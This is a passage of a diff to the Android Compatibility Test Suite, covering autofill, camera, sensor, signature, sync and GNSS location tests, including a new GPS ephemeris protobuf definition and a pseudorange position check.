- public final ActivityTestRule<GridActivity> mActivityRule =
- new ActivityTestRule<GridActivity>(GridActivity.class);
+ public final AutofillActivityTestRule<GridActivity> mActivityRule =
+ new AutofillActivityTestRule<GridActivity>(GridActivity.class);
private GridActivity mActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
index 349149f..75c742f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
@@ -27,7 +27,6 @@
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.support.test.rule.ActivityTestRule;
import org.junit.After;
import org.junit.Before;
@@ -40,8 +39,8 @@
public class PreFilledLoginActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<PreFilledLoginActivity> mActivityRule =
- new ActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class);
+ public final AutofillActivityTestRule<PreFilledLoginActivity> mActivityRule =
+ new AutofillActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class);
private PreFilledLoginActivity mActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index c5a0105..4109d31 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -24,6 +24,7 @@
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.getOutOfProcessPid;
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.Helper.setOrientation;
@@ -56,8 +57,8 @@
private static final String CANCEL_FULL_ID = "android.autofillservice.cts:id/cancel";
@Before
- public void removeAllSessions() {
- destroyAllSessions();
+ public void cleanUpState() {
+ Helper.preTestCleanup();
}
/**
@@ -65,7 +66,7 @@
*/
@Before
public void disableAutoRotation() {
- Helper.disableAutoRotation();
+ Helper.disableAutoRotation(sUiBot);
}
/**
@@ -132,7 +133,7 @@
// Change orientation which triggers a destroy -> create in the app as the activity
// cannot deal with such situations
- setOrientation(LANDSCAPE);
+ setOrientation(sUiBot, LANDSCAPE);
// Delete stopped marker
getStoppedMarker(getContext()).delete();
@@ -145,7 +146,7 @@
// Change orientation which triggers a destroy -> create in the app as the activity
// cannot deal with such situations
- setOrientation(PORTRAIT);
+ setOrientation(sUiBot, PORTRAIT);
// Approve authentication
sUiBot.selectById(BUTTON_FULL_ID);
@@ -155,7 +156,7 @@
// Change orientation which triggers a destroy -> create in the app as the activity
// cannot deal with such situations
- setOrientation(LANDSCAPE);
+ setOrientation(sUiBot, LANDSCAPE);
// Select dataset
sUiBot.selectDataset("dataset");
@@ -174,7 +175,7 @@
sUiBot.assertShownById("android:id/autofill_save_yes");
// Change orientation to make sure save UI can handle this
- setOrientation(PORTRAIT);
+ setOrientation(sUiBot, PORTRAIT);
// Tap "Save".
sUiBot.selectById("android:id/autofill_save_yes");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
index d8651b6..8135eba 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerClockActivityTest.java
@@ -15,15 +15,13 @@
*/
package android.autofillservice.cts;
-import android.support.test.rule.ActivityTestRule;
-
import org.junit.Rule;
public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
@Rule
- public final ActivityTestRule<TimePickerClockActivity> mActivityRule =
- new ActivityTestRule<TimePickerClockActivity>(TimePickerClockActivity.class);
+ public final AutofillActivityTestRule<TimePickerClockActivity> mActivityRule =
+ new AutofillActivityTestRule<TimePickerClockActivity>(TimePickerClockActivity.class);
@Override
protected TimePickerClockActivity getTimePickerActivity() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
index ab86255..2d97f03 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerSpinnerActivityTest.java
@@ -15,15 +15,13 @@
*/
package android.autofillservice.cts;
-import android.support.test.rule.ActivityTestRule;
-
import org.junit.Rule;
public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
@Rule
- public final ActivityTestRule<TimePickerSpinnerActivity> mActivityRule =
- new ActivityTestRule<TimePickerSpinnerActivity>(TimePickerSpinnerActivity.class);
+ public final AutofillActivityTestRule<TimePickerSpinnerActivity> mActivityRule =
+ new AutofillActivityTestRule<TimePickerSpinnerActivity>(TimePickerSpinnerActivity.class);
@Override
protected TimePickerSpinnerActivity getTimePickerActivity() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 281071e..67a036d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -533,4 +533,13 @@
}
throw new RetryableException("Title '%s' not found for %s", expectedTitle, object);
}
+
+ /**
+ * Gets the value of the screen orientation.
+ *
+ * @return typically {@link Helper#LANDSCAPE} or {@link Helper#PORTRAIT}.
+ */
+ public int getOrientation() {
+ return mDevice.getDisplayRotation();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index f33d6fe..541250b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -24,7 +24,6 @@
import android.support.annotation.IdRes;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
-import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.autofill.AutofillValue;
@@ -40,8 +39,8 @@
@RunWith(AndroidJUnit4.class)
public class ViewAttributesTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<ViewAttributesTestActivity> mActivityRule =
- new ActivityTestRule<>(ViewAttributesTestActivity.class);
+ public final AutofillActivityTestRule<ViewAttributesTestActivity> mActivityRule =
+ new AutofillActivityTestRule<>(ViewAttributesTestActivity.class);
private ViewAttributesTestActivity mActivity;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index f5e6832..a4d827d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -36,7 +36,8 @@
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.VirtualContainerView.Line;
import android.graphics.Rect;
-import android.support.test.rule.ActivityTestRule;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
import android.view.autofill.AutofillManager;
@@ -51,8 +52,8 @@
public class VirtualContainerActivityTest extends AutoFillServiceTestCase {
@Rule
- public final ActivityTestRule<VirtualContainerActivity> mActivityRule =
- new ActivityTestRule<VirtualContainerActivity>(VirtualContainerActivity.class);
+ public final AutofillActivityTestRule<VirtualContainerActivity> mActivityRule =
+ new AutofillActivityTestRule<VirtualContainerActivity>(VirtualContainerActivity.class);
private VirtualContainerActivity mActivity;
diff --git a/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java
index 9a474c5..b5223ca 100644
--- a/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java
+++ b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java
@@ -20,6 +20,7 @@
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
import android.hardware.camera2.cts.helpers.StaticMetadata;
@@ -33,6 +34,8 @@
import java.lang.reflect.Modifier;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
+import java.util.Set;
+import java.util.HashSet;
public class EnableZslTest extends AndroidTestCase {
private static final String TAG = "EnableZslTest";
@@ -54,6 +57,14 @@
CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG,
};
+ // Request templates that are unsupported by LEGACY mode.
+ private static Set<Integer> sLegacySkipTemplates = new HashSet<>();
+ static {
+ sLegacySkipTemplates.add(CameraDevice.TEMPLATE_VIDEO_SNAPSHOT);
+ sLegacySkipTemplates.add(CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
+ sLegacySkipTemplates.add(CameraDevice.TEMPLATE_MANUAL);
+ }
+
@Override
public void setContext(Context context) {
super.setContext(context);
@@ -122,18 +133,39 @@
mCollector);
for (int i = 0; i < sTemplates.length; i++) {
- CaptureRequest.Builder request = camera.createCaptureRequest(sTemplates[i]);
- Boolean enableZsl = getEnableZslValue(request);
- if (enableZsl != null) {
- if (VERBOSE) {
- Log.v(TAG, "enableZsl is " + enableZsl + " for template " + sTemplates[i]);
- }
+ try {
+ CaptureRequest.Builder request = camera.createCaptureRequest(sTemplates[i]);
+ Boolean enableZsl = getEnableZslValue(request);
+ if (enableZsl != null) {
+ if (VERBOSE) {
+ Log.v(TAG, "enableZsl is " + enableZsl + " for template " + sTemplates[i]);
+ }
- mCollector.expectTrue("CaptureRequest.CONTROL_ENABLE_ZSL should be false.",
- !enableZsl);
+ mCollector.expectTrue("CaptureRequest.CONTROL_ENABLE_ZSL should be false.",
+ !enableZsl);
+ }
+ } catch (IllegalArgumentException e) {
+ if (sTemplates[i] == CameraDevice.TEMPLATE_MANUAL &&
+ !staticInfo.isCapabilitySupported(CameraCharacteristics.
+ REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
+ // OK
+ } else if (sTemplates[i] == CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG &&
+ !staticInfo.isCapabilitySupported(CameraCharacteristics.
+ REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING) &&
+ !staticInfo.isCapabilitySupported(CameraCharacteristics.
+ REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING)) {
+ // OK.
+ } else if (sLegacySkipTemplates.contains(sTemplates[i]) &&
+ staticInfo.isHardwareLevelLegacy()) {
+ // OK
+ } else if (sTemplates[i] != CameraDevice.TEMPLATE_PREVIEW &&
+ !staticInfo.isColorOutputSupported()) {
+ // OK, depth-only devices need only support PREVIEW template
+ } else {
+ throw e; // rethrow
+ }
}
}
-
camera.close();
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index 92c0ede..69ccfb3 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -38,31 +38,37 @@
private SensorCtsHelper() {}
/**
- * Get percentiles using nearest rank algorithm.
+ * Get low and high percentiles values of an array
*
- * @param percentiles List of percentiles interested. Its range is 0 to 1, instead of in %.
- * The value will be internally bounded.
+ * @param lowPercentile Lower boundary percentile, range [0, 1]
+ * @param highPercentile Higher boundary percentile, range [0, 1]
*
- * @throws IllegalArgumentException if the collection or percentiles is null or empty
+ * @throws IllegalArgumentException if the collection or percentiles is null or empty.
*/
public static <TValue extends Comparable<? super TValue>> List<TValue> getPercentileValue(
- Collection<TValue> collection, float[] percentiles) {
+ Collection<TValue> collection, float lowPecentile, float highPercentile) {
validateCollection(collection);
- if(percentiles == null || percentiles.length == 0) {
- throw new IllegalStateException("percentiles cannot be null or empty");
+ if (lowPecentile > highPercentile || lowPecentile < 0 || highPercentile > 1) {
+ throw new IllegalStateException("percentile has to be in range [0, 1], and " +
+ "lowPecentile has to be less than or equal to highPercentile");
}
List<TValue> arrayCopy = new ArrayList<TValue>(collection);
Collections.sort(arrayCopy);
List<TValue> percentileValues = new ArrayList<TValue>();
- for (float p : percentiles) {
- // zero-based array index
- int arrayIndex = (int) Math.round(arrayCopy.size() * p - .5f);
- // bound the index to avoid out of range error
- arrayIndex = Math.min(Math.max(arrayIndex, 0), arrayCopy.size() - 1);
- percentileValues.add(arrayCopy.get(arrayIndex));
- }
+ // lower percentile: rounding upwards, index range 1 .. size - 1 for percentile > 0
+ // for percentile == 0, index will be 0.
+ int lowArrayIndex = Math.min(arrayCopy.size() - 1,
+ arrayCopy.size() - (int)(arrayCopy.size() * (1 - lowPecentile)));
+ percentileValues.add(arrayCopy.get(lowArrayIndex));
+
+ // upper percentile: rounding downwards, index range 0 .. size - 2 for percentile < 1
+ // for percentile == 1, index will be size - 1.
+ // Also, lower bound by lowerArrayIndex to avoid low percentile value being higher than
+ // high percentile value.
+ int highArrayIndex = Math.max(lowArrayIndex, (int)(arrayCopy.size() * highPercentile - 1));
+ percentileValues.add(arrayCopy.get(highArrayIndex));
return percentileValues;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
index 694c61f..e0d2c77 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
@@ -110,11 +110,9 @@
}
List<Long> deltas = getDeltaValues();
- float percentiles[] = new float[2];
- percentiles[0] = mOutlierMargin;
- percentiles[1] = 1 - percentiles[0];
+ List<Long> percentileValues =
+ SensorCtsHelper.getPercentileValue(deltas, mOutlierMargin, 1 - mOutlierMargin);
- List<Long> percentileValues = SensorCtsHelper.getPercentileValue(deltas, percentiles);
double normalizedRange =
(double)(percentileValues.get(1) - percentileValues.get(0)) / mThresholdNs;
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
index 2d13ed2..6eafc32 100644
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
@@ -53,7 +53,7 @@
private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
static {
- // Interfaces that define @hide methods will by definition contain
+ // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
// methods that do not appear in current.txt. Interfaces added to this
// list are probably not meant to be implemented in an application.
HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
@@ -68,6 +68,7 @@
HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
}
public enum JDiffType {
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java b/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
index 86e66cc..bc37c59 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
@@ -26,13 +26,16 @@
import android.content.Context;
import android.content.SyncAdapterType;
import android.os.Bundle;
+import android.os.SystemClock;
import android.test.AndroidTestCase;
+import android.util.Log;
import java.io.IOException;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
public class ContentResolverSyncTestCase extends AndroidTestCase {
+ private static final String TAG = "SyncTest";
private static final String AUTHORITY = "android.content.cts.authority";
@@ -40,6 +43,7 @@
MockAccountAuthenticator.ACCOUNT_TYPE);
private static final int INITIAL_SYNC_TIMEOUT_MS = 60 * 1000;
+ private static final int CANCEL_TIMEOUT_MS = 60 * 1000;
private static final int LATCH_TIMEOUT_MS = 5000;
private static AccountManager sAccountManager;
@@ -133,6 +137,20 @@
} catch (InterruptedException e) {
fail("should not throw an InterruptedException");
}
+ // Make sure the sync manager thinks the sync finished.
+
+ final long timeout = SystemClock.uptimeMillis() + CANCEL_TIMEOUT_MS;
+ while (SystemClock.uptimeMillis() < timeout) {
+ if (!ContentResolver.isSyncActive(ACCOUNT, AUTHORITY)
+ && !ContentResolver.isSyncPending(ACCOUNT, AUTHORITY)) {
+ break;
+ }
+ Log.i(TAG, "Waiting for sync to finish...");
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ }
+ }
}
private void requestSync(Account account, String authority, int latchTimeoutMillis) {
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index bfd9a08..1da9525 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -27,11 +27,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util ctstestrunner
+ compatibility-device-util ctstestrunner apache-commons-math
LOCAL_SDK_VERSION := test_current
-LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts)
+LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts) \
+ $(call all-proto-files-under, protos)
+
+LOCAL_PROTOC_OPTIMIZE_TYPE := nano
include $(BUILD_STATIC_JAVA_LIBRARY)
@@ -47,12 +50,18 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_PROTOC_OPTIMIZE_TYPE := nano
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-proto-files-under, protos)
LOCAL_PACKAGE_NAME := CtsLocationTestCases
+LOCAL_JACK_FLAGS := --multi-dex native
+LOCAL_DX_FLAGS := --multi-dex
+
LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/location/protos/ephemeris.proto b/tests/tests/location/protos/ephemeris.proto
new file mode 100644
index 0000000..6196aa0
--- /dev/null
+++ b/tests/tests/location/protos/ephemeris.proto
@@ -0,0 +1,124 @@
+syntax = "proto2";
+
+package android.location.cts;
+// RPC service for providing ephemeris data
+
+
+message GpsTimeProto {
+ optional int64 nanosecond = 1;
+}
+
+message GpsEphemerisProto {
+ // Time used for generating this data (typically, the queried time).
+ optional GpsTimeProto data_time = 1;
+
+ // PRN.
+ optional int32 prn = 2;
+
+ // GPS week number.
+ optional int32 week = 3;
+
+ // Code on L2.
+ optional int32 l2_code = 4;
+
+ // L2 P data flag.
+ optional int32 l2_flag = 5;
+
+ // SV accuracy in meters.
+ optional double sv_accuracy_m = 6;
+
+ // SV health bits.
+ optional int32 sv_health = 7;
+
+ // Issue of data (ephemeris).
+ optional int32 iode = 8;
+
+ // Issue of data (clock).
+ optional int32 iodc = 9;
+
+ // Time of clock (second).
+ optional double toc = 10;
+
+ // Time of ephemeris (second).
+ optional double toe = 11;
+
+ // Transmission time of the message.
+ optional double tom = 12;
+
+ // Clock info (drift, bias, etc).
+ optional double af0 = 13;
+ optional double af1 = 14;
+ optional double af2 = 15;
+ optional double tgd = 16;
+
+ // Orbital parameters.
+ // Square root of semi-major axis
+ optional double root_of_a = 17;
+
+ // Eccentricity.
+ optional double e = 18;
+
+ // Inclination angle (radian).
+ optional double i_0 = 19;
+
+ // Rate of inclination angle (radians/sec).
+ optional double i_dot = 20;
+
+ // Argument of perigee.
+ optional double omega = 21;
+
+ // Longitude of ascending node of orbit plane at the beginning of week.
+ optional double omega_0 = 22;
+
+ // Rate of right ascension.
+ optional double omega_dot = 23;
+
+ // Mean anomaly at reference time.
+ optional double m_0 = 24;
+
+ // Mean motion difference from computed value.
+ optional double delta_n = 25;
+
+ // Amplitude of second-order harmonic perturbations.
+ optional double crc = 26;
+ optional double crs = 27;
+ optional double cuc = 28;
+ optional double cus = 29;
+ optional double cic = 30;
+ optional double cis = 31;
+
+ // FIT interval.
+ optional double fit_interval = 32;
+}
+
+// Klobuchar Ionospheric Model
+message IonosphericModelProto {
+ // Time used for generating this data (typically, the queried time).
+ optional GpsTimeProto data_time = 1;
+
+ // Amplitude parameters
+ repeated double alpha = 2;
+
+ // Period parameters.
+ repeated double beta = 3;
+}
+
+message UtcModelProto {
+ optional double a_0 = 1;
+ optional double a_1 = 2;
+ optional int64 tow = 3;
+ optional int32 leap_seconds = 4;
+}
+
+message GpsNavMessageProto {
+ // Status for the RPC call.
+ enum RpcStatus {
+ UNKNOWN_RPC_STATUS = 0;
+ SUCCESS = 1;
+ SERVER_ERROR = 2;
+ }
+ optional RpcStatus rpc_status = 1;
+ optional IonosphericModelProto iono = 2;
+ optional UtcModelProto utc_model = 3;
+ repeated GpsEphemerisProto ephemerids = 4;
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index 2be83d8..1fcb8b8 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -16,10 +16,11 @@
package android.location.cts;
-
+import android.location.cts.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
import android.location.GnssMeasurement;
import android.location.GnssMeasurementsEvent;
import android.location.GnssStatus;
+import android.location.Location;
import android.util.Log;
import com.android.compatibility.common.util.CddTest;
import java.util.ArrayList;
@@ -38,6 +39,7 @@
private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
private static final int MIN_SATELLITES_REQUIREMENT = 4;
private static final double SECONDS_PER_NANO = 1.0e-9;
+ private static final double POSITION_THRESHOLD_IN_DEGREES = 0.003; // degrees (~= 300 meters)
// GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
// is 65-83 ms, which is 18 ms range.
// GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
@@ -96,7 +98,7 @@
mTestLocationManager.requestLocationUpdates(mLocationListener);
mMeasurementListener = new TestGnssMeasurementListener(TAG,
- MEASUREMENT_EVENTS_TO_COLLECT_COUNT);
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
boolean success = mLocationListener.await();
@@ -219,6 +221,85 @@
String.valueOf(deltaiSeconds),
(deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
}
+ }
+ /*
+ * Use pseudorange calculation library to calculate position then compare to location from
+ * Location Manager.
+ */
+ public void testPseudoPosition() throws Exception {
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG,
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ boolean success = mLocationListener.await();
+
+ List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+ assertTrue("Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success && receivedLocationList.size() > 0);
+ Location locationFromApi = receivedLocationList.get(0);
+
+ // Since we are checking the eventCount later, there is no need to check the return value here.
+ mMeasurementListener.await();
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of Gps Event received = " + eventCount);
+ int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
+ if (eventCount == 0 && gnssYearOfHardware <= MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
+ return;
+ }
+
+ Log.i(TAG, "This is a device from 2017 or later.");
+ assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+ eventCount > 0);
+
+ PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+ = new PseudorangePositionVelocityFromRealTimeEvents();
+ mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+ (int) (locationFromApi.getLatitude() * 1E7),
+ (int) (locationFromApi.getLongitude() * 1E7),
+ (int) (locationFromApi.getAltitude() * 1E7));
+
+ Log.i(TAG, "Location from Location Manager"
+ + ", Latitude:" + locationFromApi.getLatitude()
+ + ", Longitude:" + locationFromApi.getLongitude()
+ + ", Altitude:" + locationFromApi.getAltitude());
+
+
+ int totalCalculatedLocationCnt = 0;
+ for(GnssMeasurementsEvent event : events){
+ // In mMeasurementListener.getEvents() we already filtered out events, at this point every
+ // event will have at least 4 satellites in one constellation.
+ mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(event);
+ double[] calculatedLocation =
+ mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+ // it will return NaN when there is no enough measurements to calculate the position
+ if (Double.isNaN(calculatedLocation[0])) {
+ continue;
+ }
+ else {
+ totalCalculatedLocationCnt ++;
+ Log.i(TAG, "Calculated Location"
+ + ", Latitude:" + calculatedLocation[0]
+ + ", Longitude:" + calculatedLocation[1]
+ + ", Altitude:" + calculatedLocation[2]);
+
+ assertTrue("Latitude should be close to " + locationFromApi.getLatitude(),
+ Math.abs(calculatedLocation[0] - locationFromApi.getLatitude())
+ < POSITION_THRESHOLD_IN_DEGREES);
+ assertTrue("Longitude should be close to" + locationFromApi.getLongitude(),
+ Math.abs(calculatedLocation[1] - locationFromApi.getLongitude())
+ < POSITION_THRESHOLD_IN_DEGREES);
+ //TODO: Check for the altitude and position uncertainty.
+ }
+ }
+ assertTrue("Calculated Location Count should be greater than 0.",
+ totalCalculatedLocationCnt > 0);
}
}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
index 4d95a52..d5bd393 100644
--- a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
+++ b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
@@ -16,11 +16,12 @@
package android.location.cts;
import junit.framework.Assert;
-
+import android.location.GnssMeasurement;
import android.location.GnssMeasurementsEvent;
import android.util.Log;
import java.util.ArrayList;
+import java.util.HashMap;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -31,10 +32,14 @@
* Only counts measurement events with more than one actual Measurement in them (not just clock)
*/
class TestGnssMeasurementListener extends GnssMeasurementsEvent.Callback {
+ // When filterByEventSize flag is true, we only keep the GnssMeasurementsEvents that have at
+ // least 4 decoded GnssMeasurement in same constellation.
+ private boolean filterByEventSize = false;
// Timeout in sec for count down latch wait
private static final int STATUS_TIMEOUT_IN_SEC = 10;
private static final int MEAS_TIMEOUT_IN_SEC = 60;
-
+ private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
+ private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
private volatile int mStatus = -1;
private final String mTag;
@@ -42,26 +47,74 @@
private final CountDownLatch mCountDownLatch;
private final CountDownLatch mCountDownLatchStatus;
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ */
TestGnssMeasurementListener(String tag) {
- this(tag, 0);
+ this(tag, 0, false);
}
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ * @param eventsToCollect wait until the number of events collected.
+ */
TestGnssMeasurementListener(String tag, int eventsToCollect) {
+ this(tag, eventsToCollect, false);
+ }
+
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ * @param eventsToCollect wait until the number of events collected.
+ * @param filterByEventSize whether filter the GnssMeasurementsEvents when we collect them.
+ */
+ TestGnssMeasurementListener(String tag, int eventsToCollect, boolean filterByEventSize) {
mTag = tag;
mCountDownLatch = new CountDownLatch(eventsToCollect);
mCountDownLatchStatus = new CountDownLatch(1);
mMeasurementsEvents = new ArrayList<>(eventsToCollect);
+ this.filterByEventSize = filterByEventSize;
}
@Override
public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
- // Only count measurement events with more than one actual Measurement in them
- // (not just clock)
- if (event.getMeasurements().size() > 0) {
- synchronized(mMeasurementsEvents) {
- mMeasurementsEvents.add(event);
+ // Only count measurement events with more than 4 actual Measurements in same constellation
+ // with Cn0DbHz value greater than 18
+ if (event.getMeasurements().size() > 0) {
+ Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
+ if (filterByEventSize) {
+ HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
+ for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
